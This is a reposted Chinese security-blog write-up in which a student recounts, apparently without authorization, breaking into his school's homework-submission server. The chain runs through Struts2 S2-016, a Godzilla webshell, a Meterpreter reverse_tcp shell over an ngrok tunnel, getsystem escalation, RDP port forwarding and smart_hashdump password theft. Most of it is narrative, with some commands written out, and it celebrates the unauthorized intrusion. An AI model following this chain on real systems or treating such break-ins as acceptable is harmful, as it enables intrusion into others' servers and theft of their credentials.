【实例渗透】 打点某系统到提权

admin 2022年9月8日16:41:30评论54 views字数 2078阅读6分55秒阅读模式
【实例渗透】  打点某系统到提权
【实例渗透】 打点某系统到提权

1前言

这个是学员 提供的稿子 

今天又是风和日丽的一天,莫名其妙搞到学校会计系的一个文档,好奇心促使我点开看了一眼,发现了一个作业提交平台,ip为:*.*.*.*:9100,看着这熟悉的ip,我又点开了那尘封已久的信息收集导图。

【实例渗透】 打点某系统到提权

发现貌似并没有做太详细的收集,于是,我又打开了那令人爱恨不得的nmap,开始了漫长的等待……

【实例渗透】 打点某系统到提权

2漏洞发现

经过一番搏斗,大概了解了目标,接下来,又是各种摸索伦打,尝试各种,手工注入、密码爆破……无果…你以为我这就放弃了?没错是打算放弃了,当我正准备关机时,“一束光照在了avws上”我抱着试一试的心态,扫了一下目标站点,不扫不知道一扫吓一跳啊,比惊喜更惊喜的无疑是这个凸显眼前的Struts2漏洞,这确实是让我没想到的没想到。

【实例渗透】 打点某系统到提权

3漏洞验证

根据avws提供的路径,接下来我们便去做了个小小的漏洞验证,首先去GitHub上了Struts2的小工具包,是由python3编写,下载解压完,打开我们的dos终端,用python.exeStruts2Scan.py -u url

【实例渗透】 打点某系统到提权

可以看到漏洞s2-016确实存在,虽然有点老,不管哈哈哈。

4漏洞利用

又恰好在我的工具包里有一个2018年的Struts2exp整合利用包,上去看一下,也还好,可以用S2-016,接下来就是惊心动魄的时候了,输入漏洞存在的路径,选择exp,一键捅穿。

【实例渗透】 打点某系统到提权

【实例渗透】 打点某系统到提权

可以看到,已经利用成功了,接下来whoami看看权限,可以看到,administratora权限,哟还挺高。(这里解释一下,jsp脚本的站点,一般情况下,只要不被降权,都会继承administrator权限)

5Getwebshell

你以为拿到个shell就结束了吗,当然不是,由于工具限制,这里我们考虑上个大马,功能更齐全,方便下一步的。

【实例渗透】 打点某系统到提权

【实例渗透】 打点某系统到提权

渗透却发现,能上传上去,却连接不了,怎么办呢?难不成就此结束?那不可能,细细摸索一番后,恍然大悟,原来是它的tomaca版本太低,执行不了我们的大马,那咋办呢……一番思索,想起了哥斯拉大战变形金刚,那就用哥斯拉试试吧,

【实例渗透】 打点某系统到提权

首先用哥斯拉生成个脚本,然后,我们再上传到服务器,接下来,激动人心的时候到了,用哥斯拉成功链接!由于是第一次用哥斯拉的马,这个马确实功能有点惨不忍睹,一番熟悉,发现这个马儿居然集成了一个msf,那好玩了呀。

6提权

虽然它本身就是个administrator权限,但我依旧觉得system权限更香。接下来,便是我们的各种提权操作,考虑到服务器上有360,做个免杀吧,太麻烦了,干脆,写个无文件加载到内存,由于出生在一个风吹雨淋的小山村,兜里的money不允许我随意嚯嚯,于是,先上去ngrok做个免费的隧道吧,慢是慢了点,比没有好吧。

【实例渗透】 打点某系统到提权

隧道做好了,先连接一下我们的kali,在kali里下载一个ngrok客户端,然后连接上我们的隧道。

【实例渗透】 打点某系统到提权

接下来,生成并侦听个无文件的payloadhandler -p windows/meterpreter/reverse_tcp -H 127.0.0.1 -P 80

【实例渗透】 打点某系统到提权

在另外一边,哥斯拉上的msf中,连接我们的ngrok的一个地址,并发送,等待session回来

【实例渗透】 打点某系统到提权

可以看到,找个很让人头疼的东西,导致我的session一直没有回弹,无限重连。

【实例渗透】 打点某系统到提权

排查了一下原因,本以为是隧道问题,氪金去买了个隧道,回过头再尝试连接……并无卵用白浪费我一顿饭钱。

【实例渗透】 打点某系统到提权

思索一番后,我拿上了我的电脑,去了图书馆,session回弹成功了,跟我想的一样,在此建议亲爱的校长,能不能把宿舍的网络带宽换高点,20Mb真的不够用,好了咱继续。

这个时候,我们的session已经过来了。

【实例渗透】 打点某系统到提权

日常getuid可以看到是administrator权限,接下来,该想办法提权了,还是考虑到有360的原因很麻烦,这时候只能碰碰运气试试会话劫持了。

【实例渗透】 打点某系统到提权

直接getsystem试试,劫持成功。

接下来,再getuid可以看到,我们已经是system权限了。

【实例渗透】 打点某系统到提权

3389端口转发连接:

这步就很easy了,首先咱先看看,它的3389有没有开,netstat-a,可以看到3389是开放了的。

【实例渗透】 打点某系统到提权

然后ipconfig看一下内网ip

【实例渗透】 打点某系统到提权

打开autorouter转发整个内网c段吧

【实例渗透】 打点某系统到提权

再然后直接用portfwd将它的3389转到我们本地的9998就可以了

【实例渗透】 打点某系统到提权

我们在打开一个终端,用rdesktop直接去链接我们本地,刚才转发出来的端口就可以了,连接上后看到需要密码,那咋办呢,思考一下。

往下,我们现在是提权到了system权限的可以去读取它的一个hash

7Hash读取

利用kali自带的小脚本,runpost/windows/gather/smart_hashdump

【实例渗透】 打点某系统到提权

可以看到,hash已经读取出来了,找个解密站点解开就行了,拿着解出来的密码,可以看到,我们已经是顺利的登录上了,是台08的服务器。

【实例渗透】 打点某系统到提权

【实例渗透】 打点某系统到提权

9尾言

因为部分原因后续的权限维持和横向渗透就不做了

10关注公众号


公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏噢


原文始发于微信公众号(moonsec):【实例渗透】 打点某系统到提权

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月8日16:41:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【实例渗透】 打点某系统到提权http://cn-sec.com/archives/1286338.html

发表评论

匿名网友 填写信息